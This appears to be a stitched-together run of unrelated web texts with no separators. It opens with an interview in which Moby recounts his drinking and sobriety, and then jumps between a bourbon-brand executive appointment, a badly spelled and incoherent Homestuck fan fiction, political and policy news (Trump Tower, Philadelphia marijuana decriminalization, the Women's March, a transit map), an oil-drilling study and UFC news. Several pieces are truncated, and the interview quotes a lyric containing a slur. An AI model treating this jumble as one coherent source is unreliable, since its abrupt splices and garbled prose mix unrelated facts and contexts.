It's funny. I was part of a study at Columbia University on panic attack sufferers, because, unfortunately, I've had anxiety since I was a little kid, and before doing the study I was given a questionnaire, and one of the questions was: how many units of alcohol do you consume in a month? And I realised I was drinking about 60 units a week. I remember lying to my doctor, saying it was somewhere between 30 to 40 and he was even concerned at that. I was having about 300 drinks a month. That made me realise it was maybe time to stop.
When was this?
Five years ago. Up until then I was a sad, passed-out drunk at the bar.
Any embarrassing moments?
I had probably a few thousand moments. And I don't fully remember most of them.
Did any of them make the papers?
Not that I remember, because nothing was too dramatic, just me humiliating myself. Nothing amazing like driving a limousine through a shop window. Usually just being sad and depressing in public.
You'd think people would have paid attention because it's so far from your reputation as the abstemious techno monk.
I guess some people were surprised. I remember back when I still read my own press being referred to constantly as a "teetotaller". And it was so ironic because I was out getting drunk six or seven times a week.
How did we get it so wrong?
When I first started making records, I was a sober teetotaller and that reputation stuck with me. Luckily, even after decades of being a falling-down drunk, healthwise, I emerged relatively unscathed, which is baffling to me. I will pass homeless people on the street and think: "Wow, if things had gone a little differently, that would have been me."
Did you drink all your money away?
No. I love drugs as well, but the good thing about alcohol is, it's not very expensive. If you're going to have a crazy night on cocaine, it's going to cost a lot of money. But a crazy night drinking lager costs, like, $30.
Were you just drinking lager?
My two favourite drinks were vodka and beer. I remember being in Serbia with these soldiers and they introduced me to what became my favourite cocktail: a pint glass, half filled with beer and half with vodka. Their name for it was Concrete. I would go out to old-man bars in New York and order them, and even the crazy bitter alcoholics would look at me with this newfound respect.
How many could you down in a night?
A few. It's pretty easy to become psychotically drunk on vodka because it doesn't taste of anything.
Were you in AA?
Of course. I have become a fully fledged southern California cliche. The good thing about it is, going to AA is the only chance in LA you get to see fellow musicians. I run into legends from the 60s, 70s and 80s.
Do you only hang out with musicians?
No, most of my friends are directors: Paul Haggis, Marc Forster, David Lynch. If you're a movie star in Milton Keynes, it's pretty big news, but if you're a movie star in LA, no one pays that much attention. The same with rock stars and directors.
The S&M gimp gymnasts and the obese bearded bikers in red Speedos in your video for the Perfect Life (2): what was that all about?
To me it sounded like a Flaming Lips song. So I thought, why not see if Wayne [Coyne] will sing on it? My idea for the video was to be absurd nonsense, so we thought, why not gather up a whole bunch of random absurd people and see what happens? We put on authentic mariachi costumes and spent the day downtown [in LA].
Did the police intervene?
No.
Even with the random nudity?
To be honest, there was a lot less nudity than I was anticipating. We had about 70 extras and only about four of them took off their clothes.
Were you one of them?
In this case, I was not. I have been naked in public and I've always deeply regretted it. The last time was a political fundraiser at my house. It was a warm night and, once all the politicians had left, someone had the idea of going skinny-dipping. Nothing too debauched, but someone took a picture of me about to jump into the pool and I just looked so sad and middle-aged it made me vow never to take my clothes off in public again.
Did the picture get tweeted?
Thankfully, no. There isn't much interest in seeing a blurry, naked middle-aged guy standing by a pool at one in the morning.
Your new album features a lot of guests (3). How did that happen?
I came up with a list of people whose voices I really liked. Of the 10, the only two I wanted but who didn't get back to me were James Blake and Emeli Sandé. I guess she was too busy, and I'm working under the assumption that I'm not cool enough to have James Blake sing on my record.
Shame. But then you have worked with virtually everyone else: David Bowie, Lou Reed, Michael Stipe, Public Enemy, New Order … Is Bowie still the highest of the high in your personal hierarchy of heroes?
Yeah. About 10 years ago, I was over at his house and he gave me a present, the greatest present anyone has ever given me: the fedora that he wore in The Man Who Fell to Earth. And on the inside of the brim it said: "To Moby, Love David." I felt like I'd been given the holy grail, because Bowie is my favourite artist of all time. A few weeks later, I'd been in this terrible bar and it closed and I invited three people back to my apartment. Anyway, people were smoking crack in the bathroom, and at six in the morning I took out this hat and I was showing it off, and in the morning it was gone. I have two big regrets from drinking: that, and Joan Rivers once invited me to a seder (4) and, even though I'm not Jewish, I love Joan Rivers and I was too hungover to go. I was so incapacitated I couldn't get out of bed. I remember thinking: "Boy, I need to stop drinking."
Did you just not turn up?
No, I emailed and told her the reason I always give – that I was sick. And it was the truth. I was sick – because I'd had 15 drinks and a whole bunch of cocaine. I'm a Wasp, but half my family are Jewish – one of my aunts married an orthodox rabbi from Argentina – and when I told the Jewish half of my family, they were on the verge of disowning me.
You've been called "the Woody Allen of technopop".
Which, to me, is the highest compliment anyone can pay you. It makes me feel a little inadequate because I think of Annie Hall and Manhattan and Stardust Memories, and I will never in a million years make anything remotely as good.
Allen thinks the same – that he'll never do anything as good as Bergman.
He is actually the one who got me to stop reading my own press. Because, about 10 years ago, on one of the social sites I was reading some comments about me that were so scathing and upsetting. And the same day I read an interview with Woody where he said he never reads any of his reviews so, at that moment, I vowed I wouldn't either. Now, I'm blissfully unaware if people hate me.
You polarised people around the time of your album Play. Why?
If you sell a bunch of records (5) it irritates people. And, also, I have a unique form of Tourette's syndrome that compels me to be opinionated about everything. Plus there was a huge thing about me licensing my music to advertisements (6). And that seemed to bother people, which I always found ironic. Taking money from a car company was seen as evil; buying a car and giving the money to the car company was seen as benign. That seemed a little inconsistent.
Is Kanye the new you, the pop-culture pariah?
He certainly does seem polarising. I get kind of irritated by musicians like myself who seem relatively well-balanced and healthy. It's far more interesting when musicians go off the rails, like Kanye.
Will people now warm to you knowing you're not a teetotal vegan?
Perhaps. Except that when I was a falling-down drunk, I wasn't a very interesting falling-down drunk. I went to a lot of fun parties, but I usually just hit on people's girlfriends without knowing that they were someone's girlfriend and ended up causing banal trouble.
Did you ever get punched?
No, but I almost got shot by a drug dealer in Ibiza because I was hitting on his girlfriend. There was this very attractive German woman and I was chatting her up, and it turns out she was the girlfriend of the island's biggest drug dealer who was there with about 20 of the toughest people I've ever seen. I've learned a few lessons. Like, when I had my contretemps with Eminem a few years ago (7), I learned that if I'm going to have a public feud with someone, I should rather pick the bass player from some obscure indie rock band, and not the most successful musician on the planet who is always surrounded by people carrying guns.
Did you and Skylar Grey discuss Eminem when she came to work on your album?
I asked her about him and she said he's a really nice guy and a really good dad. I thought that was endearing. I assumed, based on his album titles [2009's Relapse and 2010's Recovery], that he, too, is in the sober club.
So you could be best friends?
We had very similar upbringings, both being the only child of a single mom and growing up very poor in a depressing suburban environment (8). So if we were to meet up, we would have that to talk about.
Maybe that was the cause of the hostility: that he saw too much of himself in you?
Possibly that. Also, over time I've just had to accept that maybe there's something about me that's really easy to dislike.
Innocents is released by Mute on 30 September.
Footnotes
(1) He owns a castle in the Hollywood Hills.
(2) S&M gimp gymnasts and obese bearded bikers in red Speedos appear in the video for Moby's new single the Perfect Life.
(3) Innocents includes cameos from Wayne Coyne, Cold Specks, Mark Lanegan, Damien Jurado and Skylar Grey.
(4) An annual Jewish ritual feast that marks the beginning of Passover.
(5) Play sold 10m copies – making it arguably the highest-selling electronica album ever – and helped Moby achieve a net worth of $30m.
(6) Every track on Play was licensed for advertising.
(7) On 2002's Without Me, Eminem ranted: "Moby / You can get stomped by Obie, / You 36-year-old bald-headed fag, blow me / You don't know me, you're too old, / Let go, it's over, nobody listens to techno."
Fifth-generation Brown family member Campbell Brown will be the new president of the Old Forester brand beginning May 1, the first family member solely responsible for the label since company founder George Garvin Brown.
Louisville-based liquor maker Brown-Forman Corp. announced the appointment Tuesday for its original brand.
Brown-Forman is devoting more resources to the brand, building a $35 million distillery on Main Street's Whiskey Row in downtown. It also has a new deal with Churchill Downs for the brand to be the official bourbon for Kentucky Derby mint juleps, replacing Early Times.
The Old Forester brand is experiencing sales growth for the first time in decades, said an announcement from the company best known for producing Jack Daniel's Tennessee Whiskey and Woodford Reserve bourbon.
But Old Forester has always been important to the family, Brown said. An Old Forester bottle sits atop the company headquarters on Dixie Highway. The favorite drink of former company chairman and chief executive officer Owsley Brown II, who died in 2011, was an Old Forester Bourbon with ice and a little water in a tall glass.
"I feel we have actually picked a perfect time to marshal a significant number of resources ... to create something that's going to be really special for the sixth generation that's coming up," Campbell Brown said in a telephone interview. "They won't just see that bottle, that wonderful Forester icon on top of the headquarters. But I imagine they'll be seeing a lot more of it in liquor stores and in bars and everywhere that we would want to be seen."
Brown, 47, is a fifth-generation descendant of the Brown who founded the company in 1870 and whose signature remains on the Old Forester bottle.
He is the brother of company Chairman Geo. Garvin Brown IV. Their father is the late George Garvin Brown III, a company director; their grandfather is the late George Garvin Brown II, a chief executive and chairman of the company; their great grandfather was Owsley Brown, a chief executive for the company; and the founder is their great great grandfather.
The company said Campbell Brown is one of 11 fifth-generation family members working at the company.
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Campbell Brown most recently managed Brown-Forman's wine and spirits portfolio for Canada and the U.S. Midwest. He also is a member of the family's shareholders committee and is on the board of the DendriFund, the environmental sustainability charitable foundation established by Brown-Forman. Brown is one of 11 fifth-generation Brown family members currently employed by the company.
While Old Forester is now his brand, Brown said it already was his drink.
"I worked overseas for a long time so it really wasn't my drink for about six years," he said. "I was living in places like India and the Philippines and Turkey and you just couldn't get Old Forester."
As such, the international market is a growth opportunity for the brand, Brown said.
In the interview, Brown said that distillery announcement last year sparked his interest in taking on a role with the brand, but serious talks started before the holidays. Then a few weeks ago Chief Executive Officer Paul Varga and Chief Brands and Strategy Officer Lawson Whiting, to whom Brown will report, approached him to formalize the new position.
"Being able to bring the family name into this ... especially for the brand that helped found this company and where our family's name is etched on the glass, certainly from a personal standpoint meant a lot to me for sure."
"the baby us dead" eridan sobbed
"um no he isnt" i giggled
"ya he is" eridan yelled
"he was just kicking like 5 seconds ago" i laughed
"no he died" eridan screamed
"wait" said eridan "whow do you know the baby is boy"
i told him i could just tell with my motehrly senses. he sighed and told me to go to the ultra hosital with him.
eridan was sobbing and crying and told the nurses that the baby was in trouble so they gave me a room so they can run tests on my body to make sure everything was ok
laura was in her dormhive crying. she made a cry so loud tavros heard her from the vents. he came into laura and asked her what was wrong. she said he was engaged to geromy but now they broke it off. tavros and laura talked and hugged for hours.
meanwhile terezi, who was still obsessed with anime and the beatles, was talking to clubs deuce. clubs deuce was a cute and harmless gangster alien who enjoyed jello and flowers on top of being a ganster. he had to kill aliens for his job but he hated it. clubs deuce was telling terezi that he had no issues with the underworld and could give terezi a message dave a message for terezi. terezi was wearing a new pair of glasses that were like john lennon glasses. roxy told terezi it looks like harry potter but terezi doesnt know what that is because she is blind so she doesnt get to read a lot of litetature.
meanwhile clubs deuce was texting spades slick. he told clubs he was about to taunt me in the hsotial because he enjoyed torturing me. ms paint took the phone out of his hands and slapped him playfully.
i asked them if their wedding was back on they nodded.
A spokesman for Mayor Bill de Blasio and Donald Trump’s social media director tangled on Twitter Tuesday, after the New York Police Department helped evacuate Trump Tower following reports of a suspicious package that turned out to be a false alarm.
“Back to work here at Trump Tower after a false alarm. Thanks NYPD,” Trump’s incoming press secretary Sean Spicer tweeted Tuesday evening.
Story Continued Below
“No problem. We'll send you the bill,” replied Eric Phillips, the mayor’s chief spokesman on Tuesday,
“Eric Phillips- Spokesperson for @NYCMayor @BilldeBlasio - you are an embarrassment to the @NYCMayorsOffice & the amazing #NYPD,” Trump’s social media director Dan Scavino, Jr. responded.
The back-and-forth comes as some New York business leaders and elected officials say the de Blasio administration should back off its attacks against the president-elect, who has a reputation for acting out in response to criticism.
“It’s this kind of childish rhetoric that we’ve asked the mayor’s office to tone down because it just makes it more difficult to advocate for the city’s interests in Washington,” said Patrick Ryan, a spokesman for New York City’s lone Republican congressman, Staten Island Rep. Dan Donovan.
“Obviously, they’re ignoring that advice to get headlines " instead of help ing to craft "substantive policy,” Ryan said.
Congress has agreed to reimburse New York City $7 million so far for the costs of providing NYPD security to Trump Tower and the surrounding area for the period between November’s presidential election and the inauguration, far less than the city’s request ed $35 million for its costs. The president-elect has used Trump Tower as base for transition meetings since the election.
Donovan has said the de Blasio administration submitted its formal request to Congress at the 11th hour, making it difficult for an appropriations committee to secure the full amount the city has sought.
De Blasio has tried to turn his emphatic defiance of many of the incoming president's policy proposals into a strength, using his resistance to help fundraise for his upcoming re election campaign.
Austin Finan, a spokesman for de Blasio’s office, defended the tweets.
“Congress owes our City a lot of money for providing the president-elect with the security he requires. We’ve outlined these costs in detail. It’s our job to aggressively advocate for the NYPD and for City taxpayers, and we won’t back down from that responsibility,” Finan said in an emailed statement.
Long Island GOP Congressman Pete King declined to comment on the Twitter spat, but said in a statement: “I strongly support the federal government paying whatever security expenses are incurred. I would encourage the de Blasio Administration to provide detailed documentation of those expenses.”
Tuesday’s minor tiff came as the city prepared to partially reopen 56th Street between 5th and 6th Avenues to crosstown traffic, in response to business complaints that the street closures around Trump Tower had severely impacted their revenue.
De Blasio initially brushed off concerns about the potential impact security would have on nearby businesses, telling reporters after his first meeting with the president-elect last month that “I will not tell you that Gucci and Tiffany are my central concerns in life."
A vivid example of value from decriminalization of possessing small amounts of marijuana occurred at the Philadelphia airport recently, a few days after the release of a report from two prominent organizations that called for the national decriminalization of personal use/possession of marijuana and other illicit drugs.
This example, interestingly, occurred on the day of the second anniversary of Philadelphia’s implementation of decriminalization, the enforcement practice that replaces arrests for marijuana possession with issuance of traffic-ticket like citations. That enforcement change has saved the City of Philadelphia at least $9-million in costs related to arrests and adjudication for marijuana possession, according to calculations by local analysts.
The airport discovery of a small amount of marijuana in the luggage of three-time Philadelphia GOP mayoral candidate Sam Katz resulted in embarrassment for Katz but not his arrest and court proceedings. Authorities issued a $25 citation to Katz that allowed the nationally respected municipal-finance-expert-turned-award-winning-documentary-filmmaker to continue to Florida for a planned fishing trip.
Before Philadelphia became the largest city in America to implement decriminalization of simple possession of marijuana on October 20, 2014, thousands endured arrest annually — arrests that produced the stain of a life-altering criminal record. During the years 2012-2013 before decriminalization in Philadelphia police arrested 8,580 adults and juveniles. Philadelphia possession arrest figures for 2015 and part of 2016, after implementation of decriminalization, list around 1,500 Philadelphians arrested for marijuana possession – a marked decrease from pre-decriminalization days.
“Decriminalization has been a resounding success for the municipal government and for cannabis consumers in Philadelphia,” PhillyNORML official Chris Goldstein said. Goldstein, an expert on cannabis policy, writes a weekly column on cannabis issue for philly.com, the news website for Philadelphia’s two daily newspapers.
Days before the decriminalization of marijuana possession anniversary in Philadelphia, a report issued jointly by Human Rights Watch (HRW) and the American Civil Liberties Union (ACLU) called on federal and state authorities to decriminalize personal use and possession of drugs due to the documented failures of the War on Drugs. The two organizations recommended a shift from harsh enforcement to policies of prevention and harm reduction.
“Criminalizing drug use simply has not worked as a matter of practice,” stated the HRW-ACLU report. “Criminalizing drug possession has caused dramatic and unnecessary harms…both for individuals and for communities.” The report noted that police make more arrests for marijuana possession annually than for the violent crimes of murder, rape, robbery and aggravated assault combined.
Twenty-one states and the District of Columbia have decriminalized possession of small amounts of marijuana according to the National Conference of State Legislatures. Five states and DC have legalized adult use of marijuana.
A White House commission that studied marijuana in the early 1970s recommended decriminalization. However, then President Richard Nixon indignantly rejected all recommendations of his commission, which was chaired by a former federal prosecutor who had served as a Republican governor of Pennsylvania. Nixon is the president who launched the War on Weed that has consumed nearly $20-billion in federal funds alone since the early 1970s.
Decriminalization is also afoot abroad. For example, marijuana arrests are down 46 percent in England and Wales since 2010 according to a recent coverage by the BBC. Changes in police enforcement practices not governmental policies reportedly drive this reduction in arrests.
In Philadelphia, while lower arrests and cost savings are a bright spot for decriminalization, a dark side remains: marijuana possession bust rates still displayed marked racial disparities, the very disparities that prompted approval of decriminalization in Philadelphia.
Of the 8,580 possession arrests in 2012-2013, 7,077 involved African-Americans. Police arrest data for 2015-2016 continue the racial disparity with African-Americans accounting for 1,200 of the 1,500 arrests. Many observers trace the race disparities in arrest rates to Philadelphia police targeting African-American communities for enhanced enforcement. Evidence of racial targeting is found in the fact that in many overwhelmingly white areas of Philadelphia police make no pot possession arrests despite decades of documentation that whites and blacks use marijuana at similar rates with the white usage rate slightly higher.
That HRW-ACLU report criticized America’s history of “racially discriminatory” drug enforcement.
The second anniversary of decriminalization in Philadelphia saw a unique celebration near the iconic Philadelphia Museum of Art. Hundreds of decriminalization supporters publicly smoked marijuana at 4:20 p.m. to commemorate the anniversary. That smoke-out crowd was both racially diverse and inter-generational with persons 60-plus mingling with fellow marijuana users decades younger.
Philadelphia Mayor James Kenney sponsored the city’s decriminalization ordinance in early 2014 when he was an At-Large member of Philadelphia’s City Council. The legislation then Councilman Kenney introduced specifically cited the disturbing racial disparities in pot possession arrests as a key reason to implement decriminalization.
PhillyNORML’s Chris Goldstein and cannabis activist Nikki Allen Poe introduced the issue to Kenney who bucked Philadelphia’s then mayor and police commissioner to gain approval of decriminalization.
“For all intents and purposes, these are parking lots,” says Brady Allred, an ecologist at the University of Montana, Missoula, who led the study, published online today in Science. “The question is: How long are they going to stay this way?”
The authors acknowledge that there are benefits from the operations—namely, energy—and also that the lost land is a small fraction of North America’s total area. But they say the well sites are rarely remediated and replanted, and so the cumulative impact could begin to take its toll through the degradation of animal habitats and the loss of plants, which sop up carbon dioxide.
The study is a mash-up of two types of data. Allred paid tens of thousands of dollars to private sources and state regulators to get the location of well sites. The researchers found that, since 1900, more than 2 million wells have been drilled, and most of that has happened in two spurts—one beginning in the mid-1970s with the OPEC oil embargo, and the other beginning in 2000 with the advent of directional drilling, hydraulic fracturing, and other techniques that make it easier to extract oil and gas from tight rock formations. In the last decade, they found, industry has been sinking more than 50,000 wells a year. “Whenever we tell people there are 50,000 wells being drilled per year, they think we’re crazy,” says co-author Steven Running, a University of Montana ecologist. “Nobody has any idea of the magnitude of this.”
The researchers combined the well locations with satellite imagery to arrive at estimates of the plant productivity lost when the dirt and gravel of a graded site replaces cropland or rangeland. The amount of lost biomass in croplands alone is equivalent to 120 million bushels of wheat, or 13% of what the United States exported in 2013, the team reports. And the collective toll of drilling from 2000 to 2012 means that the landscape has lost the ability to soak up 4.5 teragrams of carbon per year. That number pales in comparison to the 1000 teragrams of carbon per year taken up across the entire study area in croplands and rangelands, Allred acknowledges. But Running points out that the impact of drilling extends beyond the numbers, especially for animals such as sagebrush grouse or mule deer. “They get a sense of the human presence,” he says. “There’s a substantial disruption that’s more than just the well pad itself.”
Some researchers say the landscape impacts of oil and gas drilling are far from unique. Jeremy Weber, a natural resource economist at the University of Pittsburgh in Pennsylvania, says the situation is not so different from farmers selling land to developers for housing tracts. “I would see it as equivalent to suburban sprawl—gobbling up farmland and turning it into housing developments.”
And Katie Brown, a spokeswoman for Energy In Depth, an outreach organization in Washington, D.C., sponsored by the oil industry, points out in a statement that renewable energy sources also take up space. “Any type of energy development, whether it’s a natural gas well or a wind farm, is going to have some kind of ecological footprint,” she says. With the directional drilling that is now in vogue, the size of well operations can shrink, too, she adds. “Companies are now drilling multiple wells on a single well pad, and these are wells that can stretch miles underground, greatly reducing the surface land footprint.”
Allred would like to see more stringent standards for remediation of well sites after drilling is completed. That is already happening in some regions. In Pennsylvania, for instance, regulators require that drillers set aside and save topsoil, return the drill site to its original contours, and reseed it.
Rights advocates are worried about the views of many Trump administration appointees, including newly minted Supreme Court Justice Neil Gorsuch, who this week ruled against confirming same-sex couples’ right to choose who is listed on their children’s birth certificates.
Despite President Donald Trump’s Islamophobia-tinged claims that he will protect queer Americans, experts on the LGBTQ community believe the Trump administration could actually jeopardize recent gains.
“He and the administration that he’s put in place will do everything to roll back and unwind any progress that we’ve been able to achieve as a community,” Sarah Kate Ellis, the CEO of the media monitoring group GLAAD, recently told the Daily Beast, describing Trump’s failure to acknowledge Pride Month as a negative signal.
Earlier this month, HuffPost sought perspective from beyond the U.S. On June 8, days before the D.C. Pride Parade, we sat down with ambassadors from five countries seen as pioneers for LGBTQ inclusion: Sweden, Norway, Denmark, Finland and Iceland.
The diplomats described the philosophy of equality behind landmark moments like when Denmark became the first country in the world to legally recognize same-sex unions, back in 1989, and when in 2009 Iceland appointed the world’s first openly lesbian prime minister.
To these foreign officials, some aspects of the situation in America are still puzzling.
“The bathroom issue... was a big surprise to me,” Lars Gert Lose, the Danish ambassador to the United States said, referring to efforts to force transgender people to use restrooms associated with their assigned sex at birth rather than their actual gender. “In our country, we don’t think about these things anymore.”
Bjorn Lyrvall, the Swedish ambassador to the U.S., said the Nordic countries recognize that they still have progress to make. His government is focusing this year on the living conditions for transgender Swedes, for instance.
The diplomats believe full equality will take more mobilization ― of resources, of people and of countries working together. International cooperation, particularly among countries that prioritize LGBTQ rights, is key, said ambassador Kirsti Kauppi of Finland. She highlighted the role of the United Nations, a body the Trump administration has said it wants to punish for its alleged anti-Israel bias.
The message that could work abroad ― including in countries in Asia and Africa where LGBTQ individuals face major persecution, often thanks to U.S. evangelists’ intervention ― is that equality is part of the recipe for creating successful nations and economies, Kauppi continued.
Kare R. Aas, Norway’s ambassador to the U.S., said he’s optimistic that the success of the Nordic countries will encourage the Trump administration to see the light and follow their lead.
That kind of progress appears more likely when more Americans make their views known.
“I think if people are concerned about developments in this country, they need to become engaged,” Iceland’s ambassador to the U.S. and former Prime Minister Geir Haarde said.
The national, openly available map of fixed-guideway and fixed-route transit service in America will allow the U.S. Department of Transportation (DOT) to demonstrate the importance and role of transit in American society and to identify and address gaps in access to public transportation. It will also support research, planning and analysis on the benefits of transit, such as the economic impacts of transit on a community’s economic development, or on reducing poverty in low-income neighborhoods.
The national Transit Map can be used to support DOT’s Ladders of Opportunity initiative to promote the use of existing transportation networks to connect residents to jobs, education, health, government, and other essential services.
The initial National Transit Map consists of General Transit Feed Specification (GTFS) data feeds registered with BTS in response to a March 2016 request for the data from U.S. Transportation Secretary Anthony Foxx. Data from 270 transit agencies provided information on over 398,000 stops and stations and almost 10,000 routes. Development of the National Transit Map is a continuing process and another update is expected to be released by the end of 2016.
See left for a sample of the New York City routes and stops data contained in the National Transit Layer. It highlights schedule and stop information for a specific bus trip that is available from the data.
This first version of the National Transit Map contains data for 84 percent of the top 25 urban transit agencies with fixed route service, 74 percent of the top 50 agencies, and approximately one-third of all urban transit agencies with fixed route service. DOT is currently working to bring additional transit agencies on board for the second version of the map, scheduled to be released in late 2016. See Figure 1 for the locations of the transit agencies that are currently participating.
BTS has worked jointly with the Federal Transit Administration (FTA) and the DOT Office of the Chief Information Officer to develop and release the inaugural map.
The National Transit Map includes the National Transit Layer – national data feeds that provide open, machine readable spatial and tabular data about the nation’s transit systems stops, routes, and schedules. It also has a National Participation Map that shows which agencies have volunteered to take part in the National Transit Map. In addition, Interactive Mapping Apps that provide tools such as calculators for distances from transit stops, trip frequency and time of day coverage will be released shortly.
Kenneth Leonard, Director, USDOT Intelligent Transportation Systems Joint Program Office is one of the many expert speakers confirmed for SmartTransit in New Jersey in October 2016. Find out more about the show here And remember if you work for a Railroad, Transit Agency, Metro or Government Agency you can attend for FREE!
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Shannon T.L. Kearns will be tasked with starting a new Minneapolis parish, the House of the Transfiguration, following his ordination.
“This will be a pioneering parish in Minnesota; one that combines the traditions of the church with progressive perspectives and embraces all people,” according to the NAOCC, an LGBT-friendly denomination not affiliated with the Vatican.
“The North American Old Catholic Church looks forward to establishing a presence in Minneapolis with the ordination of Father Kearns,” said Bishop Benjamin Evans of the diocese of New Jersey, who will preside over Kearns’ ordination. “God’s Holy Spirit continues to bless us with growth!”
Kearns has a Master of Divinity from Union Theological Seminary in the City of New York. While in seminary he transitioned from female to male. Kearns says, “I am honored and humbled to have my calling to ministry affirmed by the North American Old Catholic Church. I look forward to many years serving as a priest.”
The NAOCC is a progressive Catholic tradition that welcomes and ordains ordains women, LGBT people, married and partnered people, and those who have been divorced.
Teresa Shook never considered herself much of an activist, or someone particularly versed in feminist theory. But when the results of the presidential election became clear, the retired attorney in Hawaii turned to Facebook and asked: What if women marched on Washington around Inauguration Day en masse?
She asked her online friends how to create an event page, and then started one for the march she was hoping would happen.
By the time she went to bed, 40 women responded that they were in.
When she woke up, that number had exploded to 10,000.
Now, more than 100,000 people have registered their plans to attend the Women’s March on Washington in what is expected to be the largest demonstration linked to Donald Trump’s inauguration and a focal point for activists on the left who have been energized in opposing his agenda.
(Elyse Samuels/The Washington Post)
[Women’s March on Washington officially has a permit for Jan. 21]
Planning for the Jan. 21 march got off to a rocky start. Controversy initially flared over the name of the march, and whether it was inclusive enough of minorities, particularly African Americans, who have felt excluded from many mainstream feminist movements.
Organizers say plans are on track, after securing a permit from D.C. police to gather 200,000 people near the Capitol at Independence Avenue and Third Street SW on the morning after Inauguration Day. Exactly how big the march will be has yet to be determined, with organizers scrambling to pull together the rest of the necessary permits and raise the $1 million to $2 million necessary to pull off a march triggered by Shook’s Facebook venting.
The march has become a catch-all for a host of liberal causes, from immigrant rights to police killings of African Americans. But at its heart is the demand for equal rights for women after an election that saw the defeat of Democrat Hillary Clinton, the first female presidential nominee of a major party.
“We plan to make a bold and clear statement to this country on the national and local level that we will not be silent and we will not let anyone roll back the rights we have fought and struggled to get,” said Tamika Mallory, a veteran organizer and gun-control advocate who is one of the march’s main organizers.
More than 150,000 women and men have responded on the march’s Facebook page that they plan on attending. At least 1,000 buses are headed to Washington for the march through Rally, a website that organizes buses to protests. Dozens of groups, including Planned Parenthood and the antiwar CodePink, have signed on as partners.
Organizers insist the march is not anti-Trump, even as many of the groups that have latched on to it fiercely oppose his agenda.
1 of 74 Full Screen Autoplay Close Skip Ad × Here’s what President-elect Donald Trump has been doing since the election View Photos He has been holding interviews and meetings as he prepares to enter the White House. Caption He has been holding interviews and meetings as he prepares to enter the White House. Jan. 19, 2017 President-elect Donald Trump and his wife, Melania, visit the Lincoln Memorial before the “Make America Great Again” concert. Jabin Botsford/The Washington Post Buy Photo Wait 1 second to continue.
“Donald Trump’s election has triggered a lot of women to be more involved than they ordinarily would have been, which is ironic, because a lot of us thought a Hillary presidency would motivate women,” said Dana Brown, executive director of the Pennsylvania Center for Women and Politics at Chatham University in Pittsburgh. “A lot of women seem to be saying, ‘This is my time. I’m not going to be silent anymore.’ ”
[Military leaders say inauguration will be steeped in tradition]
Trump Inaugural Committee spokesman Boris Epshteyn defended the president-elect’s popularity among women in an interview on CNN. While Trump did not receive the majority of women’s votes, he got an “overwhelming” number of them, Epshteyn said.
“We’re here to hear their concerns,” he said. “We welcome them to our side as well.”
That all this could grow out of a dashed-off post from her perch nearly 5,000 miles from Washington is amazing to Shook, who has booked her ticket and plans to be in the capital on Jan. 21.
“I guess in my heart of hearts I wanted it to happen, but I didn’t really think it would’ve ever gone viral,” said Shook, who is in her 60s. “I don’t even know how to go viral.”
Unsure of how to proceed in those initial few days, she said she enlisted the help of the first few women who messaged her to volunteer, some of whom independently also had an idea for a march. But as the march grew in prominence, it got caught up in a broader conversation in liberal circles about race and leadership, with activists and others criticizing that initial planning group for its racial makeup: Shook and all the women she tapped to help in the march’s nascent stages are white, she said.
Some also took issue with the name Shook had proposed, the Million Woman March, which was the name of a 1997 gathering of hundreds of thousands of black women in Philadelphia. The racial concerns set off a heated conversation on the group’s main Facebook page, with some African American women especially taking umbrage.
For her part, Shook said her aim was not to co-opt any other movement. It was just an idea that took hold after the victory of a president-elect caught on tape boasting of grabbing women’s private parts and the defeat of a woman who seemed to her much more qualified for the job. She said she had no idea of the race of the women she first contacted; in fact, she said, most had an image of Clinton as their Facebook profile photo.
Complicating matters, it became apparent that the march probably could not start at the Lincoln Memorial as Shook had proposed, since the inaugural committee has dibs on that space.
Overwhelmed and under pressure, the original organizers eventually handed the reins to a diverse group of veteran female activists from New York: Mallory, the gun-control activist; Linda Sarsour, executive director of the Arab American Association of New York; Carmen Perez, head of the Gathering for Justice, a criminal-justice-reform group; and Bob Bland, a fashion entrepreneur.
Together, they settled on a new name: The Women’s March on Washington, a nod to the 1963 demonstration that was a cornerstone of the civil rights movement. They even received the blessing of the Rev. Martin Luther King Jr.’s youngest daughter, Bernice King.
In the District, Janaye Ingram, the former executive director of Al Sharpton’s National Action Network, has been working to secure permits and hash out logistics for the march, including ensuring there is a proper sound equipment and sufficient portable toilets.
People traveling to attend the march seem less concerned with behind-the-scenes politics than the chance to call for more family-friendly government policies, equal pay for women or reproductive rights. Some say they simply want to stand against the crass way Trump has spoken about women.
Lindsey Shriver, a 27-year-old former pastry chef who is an at-home mom in Ohio, said she was offended this election cycle by Trump’s rhetoric, which she characterized as “hateful and misogynistic.” She also wants to highlight the need for paid family leave and affordable child care.
“I realized that being a feminist in my own personal life wasn’t going to be enough for my daughters,” Shriver said.
Caroline Rule, 57, a lawyer living in Manhattan, says she will attend with her 15-year-old daughter. While she agrees with the pro-women message behind the march, she said she would probably participate in any march that pushed against Trump’s messages.
“I absolutely despise Donald Trump and everything he stands for,” she said.
Feminist icon Gloria Steinem has recently signed on as a march co-sponsor, and celebrities including Amy Schumer, Samantha Bee and Jessica Chastain say they plan to attend.
Feminist scholars say the march reflects an emerging view of feminism: one that is less defined by reproductive issues, such as birth control and abortion, and more by how the challenges faced by women intersect with those encountered by African Americans, the LGBT community and immigrants.
[None of the inauguration protests have their proper permits yet. Here’s why.]
Still, reproductive rights will be a large part of the march, with Planned Parenthood and NARAL Pro-Choice America as key partners.
Hahrie Han, a political science professor at the University of California at Santa Barbara specializing in political organizations and political engagement, said it’s not all that surprising that individual women instead of an established organization founded this march. Established organizations all come with at least some political baggage.
In the lead-up to UFC 206, Dana White revealed that he is targeting a new commentator to slot alongside popular color analyst Joe Rogan, who recently restructured his contract so he only broadcasts North American pay-per-view events.
“This has been my dream to assemble this dream team of commentating,” White told Sportsnet Canada. “I’ve wanted this guy for years and I’m working on it.”
White did not divulge what this could mean for longtime play-by-play man Mike Goldberg, who could stay on to partner with Brian Stann, Kenny Florian, Dan Hardy and the like.
Either way, it appears the wheels are already in motion for this mystery broadcaster to be brought in. Who are the outside hires that could be under consideration?
Update: Tuesday, Jan. 3
Todd Grisham, a longtime WWE commentator and former SportsCenter anchor, has been hired by the UFC, Brett Okamoto of ESPN.com has confirmed. More recently, Grisham has covered events for Glory Kickboxing, which air on UFC Fight Pass, and ESPN's Friday Night Fights.
His initial assignments will be exclusive to the UFC's smaller shows on Fox Sports 1, according to reports, including the promotion's upcoming fight card in Phoenix. In other words, Grisham is not Goldberg's replacement, but he is helping to fill the void at the play-by-play desk.
Update: Wednesday, Dec. 28
